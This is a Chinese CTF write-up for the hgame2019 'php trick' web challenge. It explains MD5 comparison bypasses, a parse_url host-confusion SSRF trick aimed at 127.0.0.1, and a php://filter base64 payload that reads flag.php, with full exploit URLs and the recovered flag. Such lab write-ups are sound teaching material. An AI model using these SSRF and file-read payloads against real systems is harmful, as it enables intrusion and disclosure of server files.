浅谈ssrf绕过

以hgame2019-week2的web为例

php trick

描述
some php tricks

URL http://118.24.3.214:3001

基准分数 200

当前分数 200

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
//admin.php
highlight_file(__FILE__);
$str1 = (string)@$_GET['str1'];
$str2 = (string)@$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = @$_GET['H_game'];
$url = @$_GET['url'];
if( $str1 == $str2 ){
die('step 1 fail');
}
if( md5($str1) != md5($str2) ){
die('step 2 fail');
}
if( $str3 == $str4 ){
die('step 3 fail');
}
if ( md5($str3) !== md5($str4)){
die('step 4 fail');
}
if (strpos($_SERVER['QUERY_STRING'], "H_game") !==false) {
die('step 5 fail');
}
if(is_numeric($str5)){
die('step 6 fail');
}
if ($str5<9999999999){
die('step 7 fail');
}
if ((string)$str5>0){
die('step 8 fial');
}
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

题目提示admin.php,访问一下

让人联想到ssrf

前面的几个if都是正常绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
if (parse_url($url, PHP_URL_HOST) !== "www.baidu.com"){
die('step 9 fail');
}
if (parse_url($url,PHP_URL_SCHEME) !== "http"){
die('step 10 fail');
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
$output = curl_exec($ch);
curl_close($ch);
if($output === FALSE){
die('step 11 fail');
}
else{
echo $output;
}

这里涉及了parse_url函数的绕过,我们既要访问到本地的admin.php又要保证URL符合www.baidu.com

找到了这篇文章https://www.cnblogs.com/afanti/p/9928371.html

这里可用@进行绕过

http://@127.0.0.1:80@www.baidu.com/admin.php

可以使其访问到admin.php

payload:

http://118.24.3.214:3001/index.php?str1=s878926199a&str2=s155964671a&str3[]=1&str4[]=2%00&H+game[]=999&url=http://@127.0.0.1:80@www.baidu.com/admin.php

得到了admin的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
//flag.php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
die('only localhost can see it');
}
$filename = $_GET['filename']??'';

if (file_exists($filename)) {
echo "sorry,you can't see it";
}
else{
echo file_get_contents($filename);
}
highlight_file(__FILE__);
?>

这里源码的意思是这个文件不存在但是还是让我们读取,在这里可以使用php://filter伪协议

最后payload:

http://118.24.3.214:3001/index.php?str1=s878926199a&str2=s155964671a&str3[]=1&str4[]=2%00&H+game[]=999&url=http://@127.0.0.1:80@www.baidu.com/admin.php?filename=php://filter/read=convert.base64-encode/resource=flag.php

得到一串base64编码

PD9waHAgJGZsYWcgPSBoZ2FtZXtUaEVyNF9BcjRfczBtNF9QaHBfVHIxY2tzfSA/Pgo= 

解密后得到flag